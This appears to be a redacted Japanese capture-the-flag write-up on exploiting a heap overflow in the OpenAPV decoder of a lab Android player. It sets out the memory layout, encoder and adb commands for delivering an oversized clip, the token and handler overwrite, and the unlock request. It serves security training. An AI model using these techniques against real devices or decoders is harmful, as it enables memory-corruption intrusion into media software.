
CVE-2026-28618 / StreamBox APVラボに関する墨消し済みノート — FRAME高さの不一致を介したセッションオブジェクトへのヒープ書き込み
StreamBoxにおけるCVE-2026-28618 — CVE-2026-0006と同じOpenAPVデコーダクラスを、セッションオブジェクトに対するヒープ書き込みへと変えたもの。
このリポジトリは公開された伏字化済みの解説記事である。フラグ、インスタンストークン、HMACキーは省略されている。APKとmake_clip.pyはMobile Hacking Labに帰属するものであり、ここではミラーリングしていない。

StreamBoxは小さなAPVプレイヤーである。APVはAdvanced Professional Video(RFC 9924)であり、Samsungのロイヤリティフリーコーデックで、Androidのメディアスタックに搭載されたものと同じファミリーである。ラボの売り文句は一言で言えばこうだ:プレイヤーは共有されたクリップが届くとそれを再生する。
SEND、VIEW、またはstreambox://play?url=…によってファイルがfiles/incoming.apvにコピーされ、NativeDec.loadClip()が実行される。
バグはCVE-2026-28618である:OpenAPVのdec_frm_prepareにおけるヒープバッファオーバーフロー。CVE-2026-0006と同じデコーダクラスである。
ラボはこの書き込みをゲームとしてパッケージ化している。ハードコードされた64×64のYプレーンをオーバーフローさせ、隣接するセッションオブジェクトを破壊し、ティアダウンをhandlers[2]へリダイレクトすると、Workerがフラグを返す。
キットはラボ提供の2つのzipである:
streambox-lab.apk.zip — プレイヤーmake_clip.py.zip — 64×64ライブラリのクリップがどのように構築されたか、およびオーバーフローさせるビットストリームAndroid StudioのARM64システムイメージQEMUはx86-64ホストには不向きである。このAPKはarm64-v8a / minSdk 34である。libndk_translation.so(abilist=x86_64,arm64-v8a)を備えたx86_64 API 34 AVDであれば、インストールして実行できる。


PlayerActivityの動作は以下の通り:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path); // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity
loadClip は 1(プレミアム / セッションスマッシュ)または 2(win() がすでに実行済み)を返します。openTier は UI をナビゲートするだけです。
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
起動時にアプリはすでに POST /api/instance と NativeDec.setPlatinumToken(token) を実行済みである。このトークンこそが、オーバーフローによってセッションに書き込まれるべきものである。

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_t は 64×64、10-bit YUV にハードコードされています。プレーン 0(Y)は arena+0 から始まります。64 × 64 × 2 = 0x2000 です。セッションは arena + 0x2000 + pad です。pad は SB_SESS_PAD、または srand(getpid()^time()) 後の rand() の 0x400 アラインメントされたニブルです。AVD 上では、Sunset Drive は session-arena = 0x3800(pad = 0x1800)を記録しました。64×128 の追加タイルは 0x2000 バイトであるため、それらの pad 値では依然としてセッションに到達します。
oapvd_decode() は FRAME PBU の幅/高さで書き込みます。64 より高い FRAME は 10-bit サンプルを直接 session に書き込みます。
デコード後:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

ラボのジェネレーターは 64×64 RGB の 32 フレームを生成し、yuv422p10le に変換して、OpenAPV リファレンスエンコーダーを呼び出します:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
同梱の各クリップは、FRAME 64×64 の 32 アクセスユニットです:
[u32be au_size] ['aPv1' + PBUs] × 32
プレイヤーは64×64を割り当てる。APVタイルは64×64である。
qemu-user(qemu-aarch64 + Android 10 linker64)とAVDは一致する:
| クリップ | qemu-user streambox_load | AVD loadClip |
|---|---|---|
| 64×64 ライブラリクリップ | 0 | 0(premium_hit=0) |
| ヘッダ高さ 64→72 | SIGABRT oapvd_vlc_ac_coef | SIGABRT、同じアサート、プロセスが終了(クラッシュ後のホーム画面) |
| 実際の64×128エンコード(2タイル、QP 0) | 1 | 1 premium_hit=1 → SESSION ANOMALY |
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
-n com.mobilehackinglab.streambox/.MainActivity

2回目のエンコードでは、エンコーダの再構成に対して閉ループで、ライブの access token とハンドラ 2(入力 Y≈4 は 2 として再構成される)を埋め込みます。その16バイトのプレフィックスを64×128のYプレーン全体に繰り返すことで、パディングは問題になりません。
# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
AVD 上では:
gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

win() は loadClip 内で実行された。openTier(2) は PremiumActivity を開くだけで、それがその proof を POST した。
qemu-user のセットアップ(Android Studio の ARM64 エミュレータではない)については、encode_overflow.py のコメントとラボの qemu-harness/README.md を参照。
親バグクラスに関する関連公開 PoC: mobilehackinglab/CVE-2026-0006-openapv-poc。
Python の urllib は Cloudflare 1010 を返す。モバイル UA を付けた curl なら動作する。
Worker は元のマジックを no overflow evidence: session magic intact で拒否する。ASCII の STREAMBO(LE uint64 とは異なるバイト列)は書き込みとしてカウントされる。

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
ステータス2のPremiumActivityは、侵害されたセッション用のUIです。ステータス1はSESSION ANOMALY(上のデバイススクリーンショット)です。screenshots/06-session-compromised.pngにある金色の「SESSION COMPROMISED」フレームは、そのUIのHTMLによるイラストであり、AVDのキャプチャではありません。
dec_frm_prepareにおけるディメンション検証Mobile Hacking LabのStreamBox演習向けの、許可されたラボノートです。APK、有効なトークン、フラグは含まれていません。所有していない、またはテストの許可を得ていない対象に対してこれらのプリミティブを実行しないでください。